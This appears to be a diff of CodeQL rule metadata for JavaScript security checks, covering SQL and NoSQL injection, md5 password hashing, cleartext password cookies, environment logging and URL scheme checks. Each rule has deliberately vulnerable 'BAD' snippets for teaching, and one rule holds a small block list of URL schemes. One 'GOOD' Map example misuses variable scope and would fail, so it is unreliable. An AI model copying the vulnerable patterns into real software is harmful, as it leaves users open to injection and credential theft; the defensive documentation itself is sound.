[CWE-916](https://cwe.mitre.org/data/definitions/916.html).\n", - "markdown" : "# Use of password hash with insufficient computational effort\nStoring cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords.\n\nA good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing.\n\n\n## Recommendation\nUse a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`.\n\n\n## Example\nIn the example below, the `md5` algorithm computes the hash of a password.\n\n\n```javascript\nconst crypto = require(\"crypto\");\nfunction hashPassword(password) {\n var hasher = crypto.createHash('md5');\n var hashed = hasher.update(password).digest(\"hex\"); // BAD\n return hashed;\n}\n\n```\nThis is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm:\n\n\n```javascript\nconst bcrypt = require(\"bcrypt\");\nfunction hashPassword(password, salt) {\n var hashed = bcrypt.hashSync(password, salt); // GOOD\n return hashed;\n}\n\n```\n\n## References\n* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html).\n" + "text" : "# Overly permissive regular expression range\nIt's easy to write a regular expression range that matches a wider range of characters than you intended. For example, `/[a-zA-z]/` matches all lowercase and all uppercase letters, as you would expect, but it also matches the characters: `` [ \\ ] ^ _ ` ``.\n\nAnother common problem is failing to escape the dash character in a regular expression. An unescaped dash is interpreted as part of a range. For example, in the character class `[a-zA-Z0-9%=.,-_]` the last character range matches the 55 characters between `,` and `_` (both included), which overlaps with the range `[0-9]` and is clearly not intended by the writer.\n\n\n## Recommendation\nAvoid any confusion about which characters are included in the range by writing unambiguous regular expressions. Always check that character ranges match only the expected characters.\n\n\n## Example\nThe following example code is intended to check whether a string is a valid 6 digit hex color.\n\n```javascript\n\nfunction isValidHexColor(color) {\n return /^#[0-9a-fA-f]{6}$/i.test(color);\n}\n\n```\nHowever, the `A-f` range is overly large and matches every uppercase character. It would parse a \"color\" like `#XXYYZZ` as valid.\n\nThe fix is to use an uppercase `A-F` range instead.\n\n```javascript\n\nfunction isValidHexColor(color) {\n return /^#[0-9A-F]{6}$/i.test(color);\n}\n\n```\n\n## References\n* GitHub Advisory Database: [CVE-2021-42740: Improper Neutralization of Special Elements used in a Command in Shell-quote](https://github.com/advisories/GHSA-g4rg-993r-mgx7)\n* wh0.github.io: [Exploiting CVE-2021-42740](https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html)\n* Yosuke Ota: [no-obscure-range](https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-obscure-range.html)\n* Paul Boyd: [The regex \\[,-.\\]](https://pboyd.io/posts/comma-dash-dot/)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", + "markdown" : "# Overly permissive regular expression range\nIt's easy to write a regular expression range that matches a wider range of characters than you intended. For example, `/[a-zA-z]/` matches all lowercase and all uppercase letters, as you would expect, but it also matches the characters: `` [ \\ ] ^ _ ` ``.\n\nAnother common problem is failing to escape the dash character in a regular expression. An unescaped dash is interpreted as part of a range. For example, in the character class `[a-zA-Z0-9%=.,-_]` the last character range matches the 55 characters between `,` and `_` (both included), which overlaps with the range `[0-9]` and is clearly not intended by the writer.\n\n\n## Recommendation\nAvoid any confusion about which characters are included in the range by writing unambiguous regular expressions. Always check that character ranges match only the expected characters.\n\n\n## Example\nThe following example code is intended to check whether a string is a valid 6 digit hex color.\n\n```javascript\n\nfunction isValidHexColor(color) {\n return /^#[0-9a-fA-f]{6}$/i.test(color);\n}\n\n```\nHowever, the `A-f` range is overly large and matches every uppercase character. It would parse a \"color\" like `#XXYYZZ` as valid.\n\nThe fix is to use an uppercase `A-F` range instead.\n\n```javascript\n\nfunction isValidHexColor(color) {\n return /^#[0-9A-F]{6}$/i.test(color);\n}\n\n```\n\n## References\n* GitHub Advisory Database: [CVE-2021-42740: Improper Neutralization of Special Elements used in a Command in Shell-quote](https://github.com/advisories/GHSA-g4rg-993r-mgx7)\n* wh0.github.io: [Exploiting CVE-2021-42740](https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html)\n* Yosuke Ota: [no-obscure-range](https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-obscure-range.html)\n* Paul Boyd: [The regex \\[,-.\\]](https://pboyd.io/posts/comma-dash-dot/)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-916" ], - "description" : "Creating a hash of a password with low computational effort makes the hash vulnerable to password cracking attacks.", - "id" : "js/insufficient-password-hash", - "kind" : "path-problem", - "name" : "Use of password hash with insufficient computational effort", + "tags" : [ "correctness", "security", "external/cwe/cwe-020" ], + "description" : "Overly permissive regular expression ranges match a wider range of characters than intended.\n This may allow an attacker to bypass a filter or sanitizer.", + "id" : "js/overly-large-range", + "kind" : "problem", + "name" : "Overly permissive regular expression range", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "8.1" + "security-severity" : "5.0" } }, { - "id" : "js/unvalidated-dynamic-method-call", - "name" : "js/unvalidated-dynamic-method-call", + "id" : "js/incorrect-suffix-check", + "name" : "js/incorrect-suffix-check", "shortDescription" : { - "text" : "Unvalidated dynamic method call" + "text" : "Incorrect suffix check" }, "fullDescription" : { - "text" : "Calling a method with a user-controlled name may dispatch to an unexpected target, which could cause an exception." + "text" : "Using indexOf to implement endsWith functionality is error-prone if the -1 case is not explicitly handled." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Unvalidated dynamic method call\nJavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack.\n\nFor example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime.\n\nAnother, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception.\n\n\n## Recommendation\nIt is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object.\n\nIf the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on.\n\n\n## Example\nIn the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n play(data) {\n // ...\n },\n pause(data) {\n // ...\n }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n let action = actions[req.params.action];\n // BAD: `action` may not be a function\n res.end(action(req.params.payload));\n});\n\n```\nThe intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error.\n\nThe easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = new Map();\nactions.set(\"play\", function play(data) {\n // ...\n});\nactions.set(\"pause\", function pause(data) {\n // ...\n});\n\napp.get('/perform/:action/:payload', function(req, res) {\n if (actions.has(req.params.action)) {\n if (typeof actions.get(req.params.action) === 'function'){\n let action = actions.get(req.params.action);\n }\n // GOOD: `action` is either the `play` or the `pause` function from above\n res.end(action(req.params.payload));\n } else {\n res.end(\"Unsupported action.\");\n }\n});\n\n```\nIf `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n play(data) {\n // ...\n },\n pause(data) {\n // ...\n }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n if (actions.hasOwnProperty(req.params.action)) {\n let action = actions[req.params.action];\n if (typeof action === 'function') {\n // GOOD: `action` is an own method of `actions`\n res.end(action(req.params.payload));\n return;\n }\n }\n res.end(\"Unsupported action.\");\n});\n\n```\n\n## References\n* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service).\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map).\n* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype).\n* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html).\n", - "markdown" : "# Unvalidated dynamic method call\nJavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack.\n\nFor example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime.\n\nAnother, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception.\n\n\n## Recommendation\nIt is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object.\n\nIf the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on.\n\n\n## Example\nIn the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n play(data) {\n // ...\n },\n pause(data) {\n // ...\n }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n let action = actions[req.params.action];\n // BAD: `action` may not be a function\n res.end(action(req.params.payload));\n});\n\n```\nThe intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error.\n\nThe easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = new Map();\nactions.set(\"play\", function play(data) {\n // ...\n});\nactions.set(\"pause\", function pause(data) {\n // ...\n});\n\napp.get('/perform/:action/:payload', function(req, res) {\n if (actions.has(req.params.action)) {\n if (typeof actions.get(req.params.action) === 'function'){\n let action = actions.get(req.params.action);\n }\n // GOOD: `action` is either the `play` or the `pause` function from above\n res.end(action(req.params.payload));\n } else {\n res.end(\"Unsupported action.\");\n }\n});\n\n```\nIf `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n play(data) {\n // ...\n },\n pause(data) {\n // ...\n }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n if (actions.hasOwnProperty(req.params.action)) {\n let action = actions[req.params.action];\n if (typeof action === 'function') {\n // GOOD: `action` is an own method of `actions`\n res.end(action(req.params.payload));\n return;\n }\n }\n res.end(\"Unsupported action.\");\n});\n\n```\n\n## References\n* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service).\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map).\n* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype).\n* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html).\n" + "text" : "# Incorrect suffix check\nThe `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all.\n\nSpecifically, this can easily happen when implementing `endsWith` using `indexOf`.\n\n\n## Recommendation\nUse `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1.\n\n\n## Example\nThe following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`:\n\n\n```javascript\nfunction endsWith(x, y) {\n return x.lastIndexOf(y) === x.length - y.length;\n}\n\n```\nHowever, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`.\n\nTo avoid this, explicitly check for the -1 case:\n\n\n```javascript\nfunction endsWith(x, y) {\n let index = x.lastIndexOf(y);\n return index !== -1 && index === x.length - y.length;\n}\n\n```\n\n## References\n* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith)\n* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", + "markdown" : "# Incorrect suffix check\nThe `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all.\n\nSpecifically, this can easily happen when implementing `endsWith` using `indexOf`.\n\n\n## Recommendation\nUse `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1.\n\n\n## Example\nThe following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`:\n\n\n```javascript\nfunction endsWith(x, y) {\n return x.lastIndexOf(y) === x.length - y.length;\n}\n\n```\nHowever, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`.\n\nTo avoid this, explicitly check for the -1 case:\n\n\n```javascript\nfunction endsWith(x, y) {\n let index = x.lastIndexOf(y);\n return index !== -1 && index === x.length - y.length;\n}\n\n```\n\n## References\n* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith)\n* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-754" ], - "description" : "Calling a method with a user-controlled name may dispatch to\n an unexpected target, which could cause an exception.", - "id" : "js/unvalidated-dynamic-method-call", - "kind" : "path-problem", - "name" : "Unvalidated dynamic method call", + "tags" : [ "security", "correctness", "external/cwe/cwe-020" ], + "description" : "Using indexOf to implement endsWith functionality is error-prone if the -1 case is not explicitly handled.", + "id" : "js/incorrect-suffix-check", + "kind" : "problem", + "name" : "Incorrect suffix check", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "7.5" + "problem.severity" : "error", + "security-severity" : "7.8" } }, { - "id" : "js/clear-text-storage-of-sensitive-data", - "name" : "js/clear-text-storage-of-sensitive-data", + "id" : "js/incomplete-url-scheme-check", + "name" : "js/incomplete-url-scheme-check", "shortDescription" : { - "text" : "Clear text storage of sensitive information" + "text" : "Incomplete URL scheme check" }, "fullDescription" : { - "text" : "Sensitive information stored without encryption or hashing can expose it to an attacker." + "text" : "Checking for the \"javascript:\" URL scheme without also checking for \"vbscript:\" and \"data:\" suggests a logic error or even a security vulnerability." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Clear text storage of sensitive information\nSensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user.\n\n\n## Recommendation\nEnsure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information.\n\nIn general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.\n\nBe aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well.\n\n\n## Example\nThe following example code stores user credentials (in this case, their password) in a cookie in plain text:\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n let pw = req.param(\"current_password\");\n // BAD: Setting a cookie value with cleartext sensitive data.\n res.cookie(\"password\", pw);\n});\n\n```\nInstead, the credentials should be encrypted, for instance by using the Node.js `crypto` module:\n\n\n```javascript\nvar express = require('express');\nvar crypto = require('crypto'),\n password = getPassword();\n\nfunction encrypt(text){\n var cipher = crypto.createCipher('aes-256-ctr', password);\n return cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n}\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n let pw = req.param(\"current_password\");\n // GOOD: Encoding the value before setting it.\n res.cookie(\"password\", encrypt(pw));\n});\n\n```\n\n## References\n* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.\n* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n", - "markdown" : "# Clear text storage of sensitive information\nSensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user.\n\n\n## Recommendation\nEnsure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information.\n\nIn general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.\n\nBe aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well.\n\n\n## Example\nThe following example code stores user credentials (in this case, their password) in a cookie in plain text:\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n let pw = req.param(\"current_password\");\n // BAD: Setting a cookie value with cleartext sensitive data.\n res.cookie(\"password\", pw);\n});\n\n```\nInstead, the credentials should be encrypted, for instance by using the Node.js `crypto` module:\n\n\n```javascript\nvar express = require('express');\nvar crypto = require('crypto'),\n password = getPassword();\n\nfunction encrypt(text){\n var cipher = crypto.createCipher('aes-256-ctr', password);\n return cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n}\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n let pw = req.param(\"current_password\");\n // GOOD: Encoding the value before setting it.\n res.cookie(\"password\", encrypt(pw));\n});\n\n```\n\n## References\n* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.\n* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n" + "text" : "# Incomplete URL scheme check\nURLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme.\n\nHowever, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient.\n\n\n## Recommendation\nAdd checks covering both `data:` and `vbscript:`.\n\n\n## Example\nThe following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned.\n\n\n```javascript\nfunction sanitizeUrl(url) {\n let u = decodeURI(url).trim().toLowerCase();\n if (u.startsWith(\"javascript:\"))\n return \"about:blank\";\n return url;\n}\n\n```\nWhile this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well:\n\n\n```javascript\nfunction sanitizeUrl(url) {\n let u = decodeURI(url).trim().toLowerCase();\n if (u.startsWith(\"javascript:\") || u.startsWith(\"data:\") || u.startsWith(\"vbscript:\"))\n return \"about:blank\";\n return url;\n}\n\n```\n\n## References\n* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n", + "markdown" : "# Incomplete URL scheme check\nURLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme.\n\nHowever, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient.\n\n\n## Recommendation\nAdd checks covering both `data:` and `vbscript:`.\n\n\n## Example\nThe following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned.\n\n\n```javascript\nfunction sanitizeUrl(url) {\n let u = decodeURI(url).trim().toLowerCase();\n if (u.startsWith(\"javascript:\"))\n return \"about:blank\";\n return url;\n}\n\n```\nWhile this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well:\n\n\n```javascript\nfunction sanitizeUrl(url) {\n let u = decodeURI(url).trim().toLowerCase();\n if (u.startsWith(\"javascript:\") || u.startsWith(\"data:\") || u.startsWith(\"vbscript:\"))\n return \"about:blank\";\n return url;\n}\n\n```\n\n## References\n* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-315", "external/cwe/cwe-359" ], - "description" : "Sensitive information stored without encryption or hashing can expose it to an\n attacker.", - "id" : "js/clear-text-storage-of-sensitive-data", - "kind" : "path-problem", - "name" : "Clear text storage of sensitive information", + "tags" : [ "security", "correctness", "external/cwe/cwe-020", "external/cwe/cwe-184" ], + "description" : "Checking for the \"javascript:\" URL scheme without also checking for \"vbscript:\"\n and \"data:\" suggests a logic error or even a security vulnerability.", + "id" : "js/incomplete-url-scheme-check", + "kind" : "problem", + "name" : "Incomplete URL scheme check", "precision" : "high", - "problem.severity" : "error", - "security-severity" : "7.5" + "problem.severity" : "warning", + "security-severity" : "7.8" } }, { - "id" : "js/clear-text-logging", - "name" : "js/clear-text-logging", + "id" : "js/sql-injection", + "name" : "js/sql-injection", "shortDescription" : { - "text" : "Clear-text logging of sensitive information" + "text" : "Database query built from user-controlled sources" }, "fullDescription" : { - "text" : "Logging sensitive information without encryption or hashing can expose it to an attacker." + "text" : "Building a database query from user-controlled sources is vulnerable to insertion of malicious code by the user." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Clear-text logging of sensitive information\nIf sensitive data is written to a log entry it could be exposed to an attacker who gains access to the logs.\n\nPotential attackers can obtain sensitive user data when the log output is displayed. Additionally that data may expose system information such as full path names, system information, and sometimes usernames and passwords.\n\n\n## Recommendation\nSensitive data should not be logged.\n\n\n## Example\nIn the example the entire process environment is logged using \\`console.info\\`. Regular users of the production deployed application should not have access to this much information about the environment configuration.\n\n\n```javascript\n// BAD: Logging cleartext sensitive data\nconsole.info(`[INFO] Environment: ${process.env}`);\n```\nIn the second example the data that is logged is not sensitive.\n\n\n```javascript\nlet not_sensitive_data = { a: 1, b : 2} \n// GOOD: it is fine to log data that is not sensitive\nconsole.info(`[INFO] Some object contains: ${not_sensitive_data}`);\n```\n\n## References\n* OWASP: [Insertion of Sensitive Information into Log File](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n* Common Weakness Enumeration: [CWE-532](https://cwe.mitre.org/data/definitions/532.html).\n", - "markdown" : "# Clear-text logging of sensitive information\nIf sensitive data is written to a log entry it could be exposed to an attacker who gains access to the logs.\n\nPotential attackers can obtain sensitive user data when the log output is displayed. Additionally that data may expose system information such as full path names, system information, and sometimes usernames and passwords.\n\n\n## Recommendation\nSensitive data should not be logged.\n\n\n## Example\nIn the example the entire process environment is logged using \\`console.info\\`. Regular users of the production deployed application should not have access to this much information about the environment configuration.\n\n\n```javascript\n// BAD: Logging cleartext sensitive data\nconsole.info(`[INFO] Environment: ${process.env}`);\n```\nIn the second example the data that is logged is not sensitive.\n\n\n```javascript\nlet not_sensitive_data = { a: 1, b : 2} \n// GOOD: it is fine to log data that is not sensitive\nconsole.info(`[INFO] Some object contains: ${not_sensitive_data}`);\n```\n\n## References\n* OWASP: [Insertion of Sensitive Information into Log File](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n* Common Weakness Enumeration: [CWE-532](https://cwe.mitre.org/data/definitions/532.html).\n" + "text" : "# Database query built from user-controlled sources\nIf a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n\n## Recommendation\nMost database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements.\n\nFor NoSQL queries, make use of an operator like MongoDB's `$eq` to ensure that untrusted data is interpreted as a literal value and not as a query object. Alternatively, check that the untrusted data is a literal value and not a query object before using it in a query.\n\nFor SQL queries, use query parameters or prepared statements to embed untrusted data into the query string, or use a library like `sqlstring` to escape untrusted data.\n\n\n## Example\nIn the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object.\n\nThe handler constructs an SQL query string from user input and executes it as a database query using the `pg` library. The user input may contain quote characters, so this code is vulnerable to a SQL injection attack.\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // BAD: the category might have SQL special characters in it\n var query1 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n req.params.category +\n \"' ORDER BY PRICE\";\n pool.query(query1, [], function(err, results) {\n // process results\n });\n});\n\n```\nTo fix this vulnerability, we can use query parameters to embed the user input into the query string. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks.\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // GOOD: use parameters\n var query2 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1 ORDER BY PRICE\";\n pool.query(query2, [req.params.category], function(err, results) {\n // process results\n });\n});\n\n```\nAlternatively, we can use a library like `sqlstring` to escape the user input before embedding it into the query string:\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n SqlString = require('sqlstring'),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // GOOD: the category is escaped using mysql.escape\n var query1 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n SqlString.escape(req.params.category) +\n \"' ORDER BY PRICE\";\n pool.query(query1, [], function(err, results) {\n // process results\n });\n});\n\n```\n\n## Example\nIn the following example, an express handler attempts to delete a single document from a MongoDB collection. The document to be deleted is identified by its `_id` field, which is constructed from user input. The user input may contain a query object, so this code is vulnerable to a NoSQL injection attack.\n\n\n```javascript\nconst express = require(\"express\");\nconst mongoose = require(\"mongoose\");\nconst Todo = mongoose.model(\n \"Todo\",\n new mongoose.Schema({ text: { type: String } }, { timestamps: true })\n);\n\nconst app = express();\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\n\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n\n await Todo.deleteOne({ _id: id }); // BAD: id might be an object with special properties\n\n res.json({ status: \"ok\" });\n});\n\n```\nTo fix this vulnerability, we can use the `$eq` operator to ensure that the user input is interpreted as a literal value and not as a query object:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n await Todo.deleteOne({ _id: { $eq: id } }); // GOOD: using $eq operator for the comparison\n\n res.json({ status: \"ok\" });\n});\n```\nAlternatively check that the user input is a literal value and not a query object before using 